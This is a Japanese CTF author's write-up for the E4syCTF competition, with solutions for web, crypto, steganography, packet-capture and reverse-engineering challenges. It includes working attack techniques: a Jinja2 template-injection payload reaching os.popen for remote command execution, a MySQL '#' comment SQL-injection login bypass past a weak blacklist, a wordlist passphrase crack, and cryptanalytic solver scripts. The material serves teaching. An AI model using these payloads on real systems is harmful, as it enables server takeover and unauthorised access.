# E4syCTF - 作問者Writeup # welcome ## welcome - 100pt `author: Pochix1103` `Easy` Welcome to E4syCTF! Flag is `E4syCTF{W3lc0me_7o_ea5y_ctf!}` Flagは書かれてる通りです。 #### flag ```text:flag E4syCTF{W3lc0me_7o_ea5y_ctf!} ``` # web ## Unauthorized Client - 100pt `author: Pochix1103` `Easy` このサーバーは、特別なクライアントからのアクセスしか受け付けないようだ... curl -iを使うと楽みたい… https://authorize-e4syctf.pochix1103.net curlリクエストを投げてみましょう。 ![image](https://hackmd.io/_uploads/rkvAkWJW-g.png) ```bash pochi@PC:/mnt/c/Users/pochi$ curl -i https://authorize-e4syctf.pochix1103.net HTTP/2 200 date: Sat, 22 Nov 2025 09:17:20 GMT content-type: text/plain; charset=utf-8 content-length: 88 server: cloudflare x-client-name: E4syCTF-Client x-client-version: 1.0 cf-cache-status: DYNAMIC nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} strict-transport-security: max-age=0 speculation-rules: "/cdn-cgi/speculation" report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2BxcSPJNbEFDr8dkaETF1acR%2FK2MNC5Xe%2FFUNq63tBXFKWUQUiX3YEFp39%2FRc7N4ZMDVYfyTtMDlIvW20qBIaP%2FMucA1MTHc7C%2FKKy2emqyXOuanS06FnOVBe9EoGbwsF"}]} cf-ray: 9a27554c2a54006b-KIX alt-svc: h3=":443"; ma=86400 Access Denied: This service is only for authorized clients. Your User-Agent: curl/8.5.0 ``` `curl -i`を使ってレスポンスヘッダを確認すると、サーバーが期待しているクライアント情報がレスポンスヘッダに露骨に表示されています。 取得したレスポンスの一部を見ると、 ``` x-client-name: E4syCTF-Client x-client-version: 1.0 ``` とありますが、自分が送ったリクエストにはこのヘッダが含まれてないので、サーバーは**Access Denied**を返します。 なので、ヘッダに上記の情報を含めてcurlリクエストを投げればいいだけです。 ```bash pochi@PC:/mnt/c/Users/pochi$ curl -A "E4syCTF-Client/1.0" https://authorize-e4syctf.pochix1103.net Welcome, authorized client! Flag: E4syCTF{H3ader_1s_Imp0r74nt!} ``` #### flag ```text:flag E4syCTF{H3ader_1s_Imp0r74nt!} ``` ## Flag is in my site! - 100pt `author: Pochix1103` `Easy` Flag is in my web site! https://www.pochix1103.net/ 上記のリンクにアクセスしましょう。 ![image](https://hackmd.io/_uploads/BJvW5-kZbe.png) 中にflagが書かれてるのでそれをsubmitしましょう。 #### flag ```text:flag E4syCTF{W3b_1s_3v3rywh3r3!} ``` ## FlagGetAPI - 250pt `author: Pochix1103` `Easy` 情報漏えいしました。 https://api-e4syctf.pochix1103.net 上記のリンクにアクセスし、`main.js`を確認すると以下のようなコードがあります。 ```javascript= // TODO: Implement /api/get_admin_info for admins. - // This endpoint seems to be the real deal. document.getElementById('infoButton').addEventListener('click', () => { fetch('/api/get_info') .then(response => response.json()) .then(data => { document.getElementById('result').innerText = data.error; }); }); ``` なので、`/api/get_admin_info`へアクセスするとjsonでflagが返ってきます。 その他にもコンソールで下記コマンドを実行することでflagを獲得できます。 ```javascript fetch('/api/get_admin_info').then(response => response.json()).then(data => console.log(data)); ``` #### flag ```text:flag E4syCTF{D1sc0ver_H1dd3n_AP1_!!} ``` ## Python of Cow - 400pt `author: Pochix1103` `Medium` この牛はPythonで話すらしい。 https://cowsay-e4syctf.pochix1103.net/?name=Guest cowsayの問題です。 配布された `server.py` を見ると、Flaskで `render_template_string()` が使われており、ユーザ入力が直接テンプレートとして評価されることによる **SSTI (Server Side Template Injection)** の脆弱性があることがわかります。 まず、`name` パラメータに `{{2**10}}` を入力して、計算結果が返ってくるか確認してみます。 ![image](https://hackmd.io/_uploads/B1mKxnGN-l.png) すると、以下のように計算結果が表示されました。 ![image](https://hackmd.io/_uploads/HyvRg3zNWg.png) `1024` と表示されたことから、テンプレートエンジンを介して任意のPythonコードが実行可能であることがわかります。 Jinja2では、内部オブジェクトを辿っていくことで `os.popen` などの関数にアクセスし、サーバー上で任意のOSコマンドを実行(RCE)することができます。 このあたりの仕組みや手法については、以下の記事が非常に参考になります。 [Server-Side Template Injection with Jinja2 - OnSecurity](https://onsecurity.io/article/server-side-template-injection-with-jinja2/) まず実行環境のクラスを列挙し、利用可能なオブジェクトを確認します。 `https://cowsay-e4syctf.pochix1103.net/?name={% for i in range(0,100) %}{{ i }}:{{ ''.__class__.__mro__[1].__subclasses__()[i] }}\n{% endfor %}` ![image](https://hackmd.io/_uploads/SJNjLcm4-x.png) また、ソースコードを見ると `cmd` パラメータには `cat flag.txt` のみのホワイトリスト制限がありますが、SSTIが発生しているのは `name` パラメータ側です。 Jinja2のコンテキスト内では `request.args` を参照できるため、**「チェックをパスした `cmd` の値を、SSTIペイロード内から呼び出す」** ことで、制限を回避しつつスマートにコマンドを実行できます。 最終的なペイロードは以下のようになります。 ```text https://cowsay-e4syctf.pochix1103.net/?name={{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(request.args.cmd).read()}}&cmd=cat%20flag.txt ``` 実行するとflagが得られます。 ![image](https://hackmd.io/_uploads/Hy7vc9XVbx.png) #### flag ```text:flag E4syCTF{C4n_Y0u_F1nd_S3rver_S1de_T3mplat3_1nj3c710n?} ``` ## Special E4syCTF's Web Site!! - 650pt `author: Pochix1103` `Medium` 特設ページを用意しました! ぜひご覧ください! https://special-e4syctf.pochix1103.net 上記のリンクにアクセスすると、以下のようなサイトに飛びます。 ![image](https://hackmd.io/_uploads/BypTY3QVZg.png) 一見するとただの案内サイトですが、開発者ツールからページのソースコードを読むと、![image](https://hackmd.io/_uploads/SyL-9hX4be.png) コメントアウトされたaタグがあります。コメントアウトを解除してリンクにアクセスすると、admin専用のログインページにアクセスできます。 配布ファイルの`server.js`を見ると、以下の部分(73~77行目)にSQLインジェクションの脆弱性があることがわかります。 ```javascript const input = `${username} ${password}`; if (waf(input)) { return res.send("🚫 Invalid input detected"); } ``` このように文字列結合でSQLを構築していますが、その前に`waf`関数(29~33行目)によるチェックが入っています。 ```javascript const waf = (sql) => { const blacklist = ["--", ";"]; const pattern = new RegExp(blacklist.join("|"), "i"); return pattern.test(sql); }; // ... const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`; ``` WAFは`--`(標準的なSQLのコメントアウト)と`;`(マルチステートメント)をブロックしています。しかし、MySQLでは`--`以外にも`#`をコメントアウト記号として使用できます。このWAFは`#`をブロックしていないため、これを利用してパスワードチェックを無効化できます。 `--`と違い、`#`は後ろに半角スペースがなくてもコメントアウトとして機能します。 `username`に`admin' #`と入力してログインを試みます(パスワード欄は何でも可)。 ```sql SELECT * FROM users WHERE username='admin' #' AND password='...' ``` `#`以降がコメントアウトされるため、パスワードチェックが無効化されadminとしてログインできます。 ログイン後、`server.js`の`/admin`ルーティングを見ると、flagはCookieにセットされる仕様になっています。 ```javascript res.cookie('flag', flag_content, { httpOnly: false }); ``` 開発者ツールの[Application]または[Storage]タブからCookieを確認することでflagが入手できます。 > 現在はなぜか動きません。原因不明です。 #### flag ```text:flag E4syCTF{SuPeR_E4sy_Sq1_4Nd_Xss_Ch4ll3nge} ``` > 配布ファイルに含まれるbotはダミーです。XSSは可能です。 # crypto ## Ancient Rome Cipher - 100pt `author: Pochix1103` `Easy` 古代ローマの将軍が使っていた暗号らしい。 `R4flPGS{P43F4E_P1cu3e_v5_P1n55vp!}` 単純なシーザー暗号なのでCyberChefを使って`ROT13`のレシピでずらしてみるとflagが出ます。 #### flag ```text:flag E4syCTF{C43S4R_C1ph3r_i5_C1a55ic!} ``` ## Vuln Prime - 300pt `author: Pochix1103` `Easy` 安全な素数を使っているから、このRSAは安全...だよね? `nc vulnprime-e4syctf.pochix1103.net 9900` 配布された`chall.py`を見てみます。 ```python= import os from Crypto.Util.number import getPrime, isPrime FLAG = os.getenv("FLAG", "E4syCTF{DUMMY_FLAG!!!}").encode() m = int.from_bytes(FLAG, 'big') while True: p = getPrime(512) q = 2 * p + 1 if isPrime(q): break n = p * q e = 65537 c = pow(m, e, n) print(f"{n = }") print(f"{c = }") ``` RSA暗号です。暗号鍵の作成に使われる`q`という素数が`q = 2p + 1`という条件で作成されています。 ここで、`n = p*q`に`q = 2p + 1`を代入すると`n = 2p^2 + p`となり、`n`を`p`の式で表せるので、この変形より`p`の値が二分探索により求められることがわかります。 netcatでサーバーに接続すると、`n`と`c`の値が返って来るのでそれをコピーしてsolverを書きましょう。 > サーバー(Crypto/Pwn)は既に稼働停止しています。 ### solver ```python= from sympy import nextprime, isprime from math import isqrt n = 282952640288253953654028426955989838296650987000134199473142528155633721855634092341094085597779361108340895354621337393544709931884957988481294055567848023086138169869140022429345466740328038707763798233402335934662737515322721496709456213833537080822969032131293741535894258934182778912573426726752060756501 c = 44293582995819512202191102895383856407000260120458022438953003076035591620518097188609062324714058374093445861694497088052351538142046420413376938659734805479949920456063780674714094830567988009074445254008395086553364854718650269740664514530002946183005377450619119635157003826217536192171052357860632023583 p = isqrt(n // 2) while True: q = 2 * p + 1 if n % p == 0 and n % q == 0 and n == p * q: break p = nextprime(p) q = 2 * p + 1 phi = (p - 1) * (q - 1) e = 65537 d = pow(e, -1, phi) m = pow(c, d, n) flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode() print("FLAG:", flag) ``` 出力結果 ```bash $ python3 solver.py FLAG: E4syCTF{Th1s_fl4g_i5_v3ry_vu1n3r4b13} ``` #### flag ```tetx:flag E4syCTF{Th1s_fl4g_i5_v3ry_vu1n3r4b13} ``` ## ECC - 700pt `author: Pochix1103` `Medium` ECC with singular curves `nc ecc-e4syctf.pochix1103.net 7777` 配布された`chall.py`を見てみます。 ```python= from Crypto.Util.number import getPrime, long_to_bytes, isPrime from random import randint def ec_add(P, Q, a, p): if P is None: return Q if Q is None: return P x1, y1 = P x2, y2 = Q if x1 == x2 and (y1 + y2) % p == 0: return None if P == Q: lam = (3 * x1 * x1 + a) * pow(2 * y1, -1, p) % p else: lam = (y2 - y1) * pow(x2 - x1, -1, p) % p x3 = (lam * lam - x1 - x2) % p y3 = (lam * (x1 - x3) - y1) % p return (x3, y3) def ec_mul(P, k, a, p): R = None Q = P while k > 0: if k & 1: R = ec_add(R, Q, a, p) Q = ec_add(Q, Q, a, p) k >>= 1 return R def get_y(x, a, b, p): y2 = (x*x*x + a*x + b) % p if pow(y2, (p - 1) // 2, p) != 1: return None return pow(y2, (p + 1) // 4, p) p1 = getPrime(48) a1 = 0 b1 = 0 t = randint(1, p1 - 1) G1 = (pow(t, 2, p1), pow(t, 3, p1)) d = randint(1, p1 - 1) t_G1 = G1[0] * pow(G1[1], -1, p1) % p1 t_Q1 = (d * t_G1) % p1 while t_Q1 == 0: d = randint(1, p1 - 1) t_Q1 = (d * t_G1) % p1 inv_t_Q1 = pow(t_Q1, -1, p1) Q1 = (pow(inv_t_Q1, 2, p1), pow(inv_t_Q1, 3, p1)) while True: p1_temp = getPrime(48) p2_temp = 2 * p1_temp + 1 if p2_temp % 4 == 3 and isPrime(p2_temp): p2 = p2_temp break while True: a2 = randint(1, p2 - 1) b2 = randint(1, p2 - 1) if (4 * a2**3 + 27 * b2**2) % p2 != 0: break while True: x = randint(1, p2 - 1) y = get_y(x, a2, b2, p2) if y is not None: G2 = (x, y) break Q2 = ec_mul(G2, d, a2, p2) flag = b"E4syCTF{DUMMY_FLAG!}" m_int = int.from_bytes(flag, "big") Px = Q2[0] cipher = m_int ^ Px print("\n" + "="*20) print(" Curve 1") print("="*20) print(f"p={p1}") print(f"a={a1}") print(f"b={b1}") print(f"G={G1}") print(f"Q={Q1}") print("\n" + "="*20) print(" Curve 2") print("="*20) print(f"p={p2}") print(f"a={a2}") print(f"b={b2}") print(f"G={G2}") print(f"Q={Q2}") print("\n" + "="*20) print(" Cipher") print("="*20) print(f"cipher={cipher}\n") ``` コードを見ると以下の部分(35行目~42行目)に脆弱性があることがわかります。 ```python p1 = getPrime(48) a1 = 0 b1 = 0 t = randint(1, p1 - 1) G1 = (pow(t, 2, p1), pow(t, 3, p1)) d = randint(1, p1 - 1) t_G1 = G1[0] * pow(G1[1], -1, p1) % p1 t_Q1 = (d * t_G1) % p1 ``` これは、**特異曲線**と呼ばれており、通常の楕円曲線暗号で使用される安全な曲線とは異なり、離散対数問題が非常に簡単に解けてしまいます。 上記のコードでは`curve1`で使う曲線が`y^2 = x^3 (mod p1)`という形になっており、`4*a**3 + 27*b**2 == 0`であるとわかり、`d`(秘密鍵)の逆元と掛け算だけで計算できます。 問題を解く流れとしては、脆弱な曲線(`curve1`)から秘密鍵(`d`)を抜き出し、曲線(`curve2`)の暗号を解く感じです。 サーバーに接続し、得られた情報(`Curve1`, `Curve2`, `Cipher`)をもとにsolverを書きましょう。 ``` ==================== Curve 1 ==================== p=280159609206931 a=0 b=0 G=(225849097816092, 265749922288617) Q=(11776365264986, 45952542693812) ==================== Curve 2 ==================== p=321404846280803 a=210141267523478 b=132028180431636 G=(116897921820754, 213783082165364) Q=(97601055293514, 123979357704258) ==================== Cipher ==================== cipher=577424771210857941070392134114990574721003968734184482176846395764374393651167825932430010379063 ``` > サーバー(Crypto/Pwn)は既に稼働停止しています。 ### solver ```python= from Crypto.Util.number import long_to_bytes def ec_add(P, Q, a, p): if P is None: return Q if Q is None: return P x1, y1 = P x2, y2 = Q if x1 == x2 and (y1 + y2) % p == 0: return None # 無限遠点 if P == Q: # (3 * x1^2 + a) / (2 * y1) lam = (3 * x1 * x1 + a) * pow(2 * y1, -1, p) % p else: # (y2 - y1) / (x2 - x1) lam = (y2 - y1) * pow(x2 - x1, -1, p) % p x3 = (lam * lam - x1 - x2) % p y3 = (lam * (x1 - x3) - y1) % p return (x3, y3) def ec_mul(P, k, a, p): R = None # 無限遠点 Q = P while k > 0: if k & 1: R = ec_add(R, Q, a, p) Q = ec_add(Q, Q, a, p) k >>= 1 return R # Curve 1 p1 = 280159609206931 a1 = 0 b1 = 0 G1 = (225849097816092, 265749922288617) Q1 = (11776365264986, 45952542693812) # Curve 2 p2 = 321404846280803 a2 = 210141267523478 b2 = 132028180431636 G2 = (116897921820754, 213783082165364) Q2_given = (97601055293514, 123979357704258) # 検証用に保持 # Cipher cipher = 577424771210857941070392134114990574721003968734184482176846395764374393651167825932430010379063 print("[+] Step 1: Recovering secret key 'd' from Curve 1...") # t(Q1) = d * t(G1) mod p1 => d = t(Q1) * (t(G1))^{-1} mod p1 t_G1 = G1[0] * pow(G1[1], -1, p1) % p1 t_Q1 = Q1[0] * pow(Q1[1], -1, p1) % p1 d = (t_Q1 * pow(t_G1, -1, p1)) % p1 print(f"Secret key 'd' recovered: {d}") print("\n[+] Step 2: Decrypting the cipher using 'd' and Curve 2...") Q2_calc = ec_mul(G2, d, a2, p2) if Q2_calc == Q2_given: print("Verification successful: Calculated Q2 matches the given Q2.") else: print("Verification FAILED. Something is wrong.") exit() decryption_key = Q2_calc[0] print(f"Decryption key (Px) is: {decryption_key}") # 復号 m_int = cipher ^ decryption_key flag = long_to_bytes(m_int) print("\n" + "="*50) print(f" FLAG: {flag.decode()}") print("="*50) ``` 出力結果 ```bash $ python3 solver.py [+] Step 1: Recovering secret key 'd' from Curve 1... Secret key 'd' recovered: 26287868923429 [+] Step 2: Decrypting the cipher using 'd' and Curve 2... Verification successful: Calculated Q2 matches the given Q2. Decryption key (Px) is: 97601055293514 ================================================== FLAG: E4syCTF{s1n8ul4r_curv3_1s_e4sy_t0_br3ak} ================================================== ``` #### flag ```text:flag E4syCTF{s1n8ul4r_curv3_1s_e4sy_t0_br3ak} ``` ## LACC - 1500pt `author: Pochix1103` `Hard` McEliece風の暗号を実装しました。 `nc lacc-e4syctf.pochix1103.net 13337` > ※solverは恐らく時間かかる(15分以上)ので同時並行で別の問題解いたほうがいいです… この問題は完全オリジナルで`McEliece`風の暗号を自ら実装し、それでflagを暗号化しています。 配布された`chall.py`を全部目を通してもいいですが、面倒くさいと思うのでAIに投げることをお勧めします。 {%preview https://gemini.google.com/share/67e1954e4ad2 %} 試しにGeminiにソースコードを投げ、「このソースコードについての説明と、脆弱性の箇所、どのような脆弱性かを教えて。」と尋ねたところ、以下のようなこと(ここでは脆弱性のみ)がわかりました。 * **乱数生成器のシード値が固定** ```python seed = 20251013 ... e = random_error(n, t, seed=seed+1) ``` これがなぜ脆弱性につながるのかというと、乱数生成器のシード値が固定(または予測可能)である場合、生成される**ランダムな値**はすべて予測可能になります。 本来、この問題は、`c = mG + e`から`m`を求めるために、`e`を特定する必要があり、計算困難な問題です。 ですが、上記の実装では同じ`seed(20251013)`を使い`random_error(n, t, seed=seed+1)`を実行することで、サーバーが生成したエラーベクトルeと全く同じ値を生成できます。 これらを踏まえた上でsolverを書きましょう。 > サーバー(Crypto/Pwn)は既に稼働停止しています。 ### solver ```pytho= import socket import numpy as np import base64 import itertools import re from multiprocessing import Pool, cpu_count, Manager import signal # --- GF(2) Linear Algebra --- def gf2_solve(A, b): """Solves A^T * x = b^T over GF(2)""" A = A.copy() % 2 b = b.copy() % 2 AT = A.T.astype(np.uint8) m_dim, n_dim = AT.shape M = np.concatenate([AT, b.reshape(-1, 1)], axis=1).astype(np.uint8) rows, cols = M.shape r = 0 pivcols = [] for c in range(cols - 1): if r >= rows: break pivot_row = r while pivot_row < rows and M[pivot_row, c] == 0: pivot_row += 1 if pivot_row < rows: M[[r, pivot_row]] = M[[pivot_row, r]] for i in range(rows): if i != r and M[i, c] == 1: M[i] ^= M[r] pivcols.append(c) r += 1 for i in range(r, rows): if M[i, -1] == 1: return None x = np.zeros(n_dim, dtype=np.uint8) for i, c in reversed(list(enumerate(pivcols))): val = M[i, -1] for j in range(c + 1, n_dim): if M[i, j] == 1: val ^= x[j] x[c] = val return x def unpack_bits_to_str(bits): """Converts a bit vector back to a UTF-8 string.""" byte_list = [] for i in range(0, len(bits), 8): byte_val = 0 for j in range(8): if i + j < len(bits): byte_val = (byte_val << 1) | bits[i + j] if byte_val == 0: break byte_list.append(byte_val) return bytes(byte_list).decode('utf-8', errors='ignore') # --- Optimized Parallel Worker --- def init_worker(): """Initialize worker to handle signals properly""" signal.signal(signal.SIGINT, signal.SIG_IGN) def check_error_batch(args): """Worker function to check a batch of error combinations""" error_combinations, G, c, n, found_flag = args for error_indices in error_combinations: # Check if another process already found the flag if found_flag.value: return (False, None, None) # Construct error vector e = np.zeros(n, dtype=np.uint8) e[list(error_indices)] = 1 # Calculate potential codeword c_prime = c ^ e # Try to solve m * G = c' m = gf2_solve(G, c_prime) if m is not None: flag = unpack_bits_to_str(m) # Check if it looks like a valid flag if 'E4syCTF{' in flag: found_flag.value = True return (True, error_indices, flag) return (False, None, None) # --- Solver Logic --- def solve(host, port): """Connects to server and solves the challenge using optimized parallel processing""" with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) print("[+] Connected to server.") # Receive data data = b"" while b"Enter your answer" not in data: data += s.recv(4096) lines = data.decode('utf-8').split('\n') # Extract parameters params_line = [l for l in lines if l.startswith("Parameters:")][0] n = int(re.search(r'n=(\d+)', params_line).group(1)) k = int(re.search(r'k=(\d+)', params_line).group(1)) t = int(re.search(r't=(\d+)', params_line).group(1)) print(f"[+] Parameters: n={n}, k={k}, t={t}") # Extract G g_line = [l for l in lines if l.startswith("G (shape:")][0] g_b64 = g_line.split(': ')[-1] G_bytes = base64.b64decode(g_b64) G = np.frombuffer(G_bytes, dtype=np.uint8).reshape((k, n)) print(f"[+] Matrix G ({G.shape}) received.") # Extract c c_line = [l for l in lines if l.startswith("c:")][0] c_b64 = c_line.split(': ')[-1] c_bytes = base64.b64decode(c_b64) c = np.frombuffer(c_bytes, dtype=np.uint8) print(f"[+] Ciphertext c ({c.shape}) received.") # --- Optimized Parallel Attack --- num_cores = cpu_count() print(f"\n[+] Starting optimized parallel attack with {num_cores} cores") # Generate all combinations all_combinations = list(itertools.combinations(range(n), t)) total = len(all_combinations) print(f"[+] Total combinations: {total}") # Split into batches for better load balancing batch_size = max(100, total // (num_cores * 20)) batches = [all_combinations[i:i+batch_size] for i in range(0, total, batch_size)] print(f"[+] Split into {len(batches)} batches of ~{batch_size} combinations each") # Shared flag to signal when solution is found manager = Manager() found_flag = manager.Value('i', False) # Prepare arguments for parallel processing args_list = [(batch, G, c, n, found_flag) for batch in batches] # Use multiprocessing pool with optimized settings print(f"[+] Starting search...") with Pool(num_cores, initializer=init_worker) as pool: try: for i, result in enumerate(pool.imap_unordered(check_error_batch, args_list)): success, error_indices, flag = result if success: pool.terminate() pool.join() print(f"\n[!] Solution found!") print(f" Error positions: {error_indices}") print(f"[+] Decoded Flag: {flag}") # Send flag print("[+] Sending flag to server...") s.sendall(flag.encode('utf-8') + b'\n') response = s.recv(1024) print(f"[+] Server response: {response.decode('utf-8')}") return # Progress update checked = min((i + 1) * batch_size, total) if (i + 1) % max(1, len(batches) // 20) == 0: print(f" ... checked ~{checked}/{total} combinations ({100*checked/total:.1f}%)") except KeyboardInterrupt: print("\n[!] Search interrupted by user") pool.terminate() pool.join() return print("[-] Attack failed. No solution found.") if __name__ == "__main__" HOST = 'lacc-e4syctf.pochix1103.net' # HOST = '0.0.0.0' PORT = 13337 solve(HOST, PORT) ``` 出力結果 ```bash $ python3 solver.py [+] Connected to server. [+] Parameters: n=504, k=488, t=2 [+] Matrix G ((488, 504)) received. [+] Ciphertext c ((504,)) received. [+] Starting optimized parallel attack with 8 cores [+] Total combinations: 126756 [+] Split into 161 batches of ~792 combinations each [+] Starting search... ... checked ~6336/126756 combinations (5.0%) ... checked ~12672/126756 combinations (10.0%) [!] Solution found! Error positions: (32, 484) [+] Decoded Flag: E4syCTF{Th1s_1s_n0t_McEl1ec3_but_a_Syndr0me_Dec0d1ng_Pr0bl3m} [+] Sending flag to server... [+] Server response: ``` #### flag ```text:flag E4syCTF{Th1s_1s_n0t_McEl1ec3_but_a_Syndr0me_Dec0d1ng_Pr0bl3m} ``` # misc ## Steganography? - 100pt `author: Pochix1103` `Easy` This is the flag! Steganography.zipが添付されています。中には`E4syCTF.jpg`と`Hint.txt`があります。名前からわかるようにステガノグラフィの問題で、画像にflagが埋め込まれています。Hint.txtを見ると、 ```text= Hint: rockyou.txt ``` と書かれています。`steghide`で画像について調べてみると、 ```bash $ steghide info E4syCTF.jpg "E4syCTF.jpg": format: jpeg capacity: 2.7 KB Try to get information about embedded data ? (y/n) y Enter passphrase: steghide: could not extract any data with that passphrase! ``` となりますが、パスワード保護がかかっており詳しく調査できません。なので、`Hint.txt`の情報(rockyou.txt)をもとに`stegseek`を使用し、パスワード解析をしてみます。 ```bash $ stegseek E4syCTF.jpg rockyou.txt StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "qwerty123" [i] Original filename: "flag.txt". [i] Extracting to "E4syCTF.jpg.out". ``` `stegseek E4syCTF.jpg rockyou.txt`を実行すると一瞬で解析が終了します。 パスワードは「**qwerty123**」でした。画像には`flag.txt`が埋め込まれており、結果が`E4syCTF.jpg.out`として保存されます。 #### flag ```tetx:flag E4syCTF{st3gh1de_is_a_cl4ssic_t00l} ``` ----------------------------------------------------------- <center>OSINTは割愛します</center> ----------------------------------------------------------- ## Tethering!! - 250pt `author: Pochix1103` `Medium` `Network` Pls analyze me... パケットキャプチャの問題です。 `analyze_me.pcap`というpcapファイルが配布されます。 Wiresharkでpcapファイルを解析してみます。 ![image](https://hackmd.io/_uploads/Hy0V75uBZl.png) 中を開くとHTTP通信とTCP通信が行われてることがわかります。これらを一つ一つ解析するのはめんどくさいので、HTTP通信のみを解析します。試しに、`パケット55`を見てみましょう。 ダブルクリックすると、詳細が確認できます。中には53byteの文字列が含まれており、base64でエンコードされているのでデコードするとFlagをゲットできます。 ![image](https://hackmd.io/_uploads/HkAXQISKWg.png) ChatGPTに投げても解析してくれます。 ![image](https://hackmd.io/_uploads/BkbcQ8BKbe.png) #### flag ```text:flag E4syCTF{y0u_g0t_t3th3r1ng_p4ck3t_f1l3} ``` # reversing ## Hello, Reversing! - 100pt `author: Pochix1103` `Easy` フラグはファイルに埋め込まれてるんだって! 配布されたzipを展開するとソースコードとELFバイナリが入ってます。 ソースコードを見ると、配列`flag`にflagがハードコードされているので`strings`等の結果でflagを確認することができます。 ![image](https://hackmd.io/_uploads/HJ5dTdStZl.png) #### flag ```text:flag E4syCTF{h4rdc0ded_str1ng_1s_E4sy!} ``` ## DiskImage - 300pt `author: Pochix1103` `Easy` Pls found the flag!! `disk.img`が添付されています。`strings`をしたらflagが出ました。これは想定してなかったです。 ![image](https://hackmd.io/_uploads/B1eNgYStZl.png) #### flag ```text:flag E4syCTF{7he_Fl4g_l13s_w1thin_th3_im4ge} ``` ## Run!! - 1000pt `author: Pochix1103` `Hard` dllが動けばFLAGゲット… `E4syCTF.dll`が添付されています。まずは表層解析をします。 ```bash pochi@PC:/mnt/c/Users/pochi/Desktop/CTF/made_by_me/E4syCTF-2025/rev/dll_loader$ file E4syCTF.dll E4syCTF.dll: PE32+ executable (DLL) (console) x86-64, for MS Windows, 18 sections ``` ```bash pochi@PC:/mnt/c/Users/pochi/Desktop/CTF/made_by_me/E4syCTF-2025/rev/dll_loader$ strings E4syCTF.dll !This program cannot be run in DOS mode. .text `.data .rdata ・ ・ ・(略) ``` 大した情報は得られなかったのでGhidraでリバースエンジニアリングしていきます。 関数一覧を確認すると、`check_and_set_flag`という関数が目に留まります。 ![image](https://hackmd.io/_uploads/S1-TaqSYZl.png) 以下のコードが`check_and_set_flag`関数のデコンパイル結果です。 ```c= undefined8 check_and_set_flag(char *param_1) { int iVar1; CHAR local_98 [136]; char *local_10; /* 0x1790 1 check_and_set_flag */ local_10 = "E4syCTF"; if ((param_1 != (char *)0x0) && (iVar1 = strcmp(param_1,"E4syCTF"), iVar1 == 0)) { chacha20_process_data ((undefined4 *)&chacha20_key,(undefined4 *)&chacha20_nonce,chacha20_counter, 0x2a2403020,(longlong)local_98,encrypted_flag_len); local_98[encrypted_flag_len] = '\0'; SetEnvironmentVariableA("E4syCTF_FLAG",local_98); return 1; } return 0; } ``` この関数はまず、引数`param_1`がNULLではないかを確認し、`strcmp`を用いて引数が文字列`E4syCTF`と一致するかを判別しています。一致した場合、`chacha20_process_data`を呼び出し、暗号化されたデータを復号します。 復号した結果を`SetEnvironmentVariableA()`で環境変数(`E4syCTF_FLAG`)にセットしています。 ここで、内部で呼ばれている`chacha20_process_data`をさらに追うと、マジックナンバーが書き換えられた独自実装であることが分かります。この暗号ロジックを静的に解析して復号スクリプトを書くことも可能ですが、今回はより確実でスマートな **「動的解析的アプローチ」** を取ることにしました。 DLLを自分でロードし、正しいパスワードっ渡して関数を実行させ、OSにフラグを復号させてその結果を環境変数から読み取ります。 ### solver ```cpp= #include <iostream> #include <windows.h> typedef BOOL (*CHECK_AND_SET_FLAG_FUNC)(const char*); int main() { const char* dll_path = "E4syCTF.dll"; const char* function_name = "check_and_set_flag"; const char* decrypt_key = "E4syCTF"; const char* env_var_name = "E4syCTF_FLAG"; HMODULE h_dll = LoadLibraryA(dll_path); if (h_dll == NULL) { std::cerr << "[-] Failed to find DLL: " << dll_path << std::endl; return 1; } std::cout << "[+] DLL loaded successfully." << std::endl; CHECK_AND_SET_FLAG_FUNC check_func = (CHECK_AND_SET_FLAG_FUNC)GetProcAddress(h_dll, function_name); if (check_func == NULL) { std::cerr << "[-] Failed to find function: " << function_name << std::endl; FreeLibrary(h_dll); return 1; } std::cout << "[+] Found function '" << function_name << "'." << std::endl; std::cout << "[*] Calling function with the correct key to set the flag in the environment variable..." << std::endl; if (check_func(decrypt_key)) { std::cout << "[+] Function succeeded! Reading environment variable." << std::endl; char flag_buffer[256]; DWORD result = GetEnvironmentVariableA(env_var_name, flag_buffer, sizeof(flag_buffer)); if (result > 0) { std::cout << "\n----------------------------------------" << std::endl; std::cout << " FLAG: " << flag_buffer << std::endl; std::cout << "----------------------------------------" << std::endl; } else { std::cerr << "[-] Failed to read environment variable '" << env_var_name << "'." << std::endl; } } else { std::cerr << "[-] Function call failed. The key might be incorrect." << std::endl; } FreeLibrary(h_dll); return 0; } ``` 実行結果 ```batch PS C:\Users\pochi\Desktop\CTF\made_by_me\E4syCTF-2025\rev\dll_loader> ./loader [+] DLL loaded successfully. [+] Found function 'check_and_set_flag'. [*] Calling function with the correct key to set the flag in the environment variable... [+] Function succeeded! Reading environment variable. ---------------------------------------- FLAG: E4syCTF{d1l_1s_1mp0rt4n7_f0r_runn1ng_progr4m5!} ---------------------------------------- ``` #### flag ```text:flag E4syCTF{d1l_1s_1mp0rt4n7_f0r_runn1ng_progr4m5!} ``` ----------------------------------------------------------- <center>一人でほとんどの問題作問してる関係上文字数的にPwnは割愛します。</center> <center>後日改めて別の記事として公開します。</center> -----------------------------------------------------------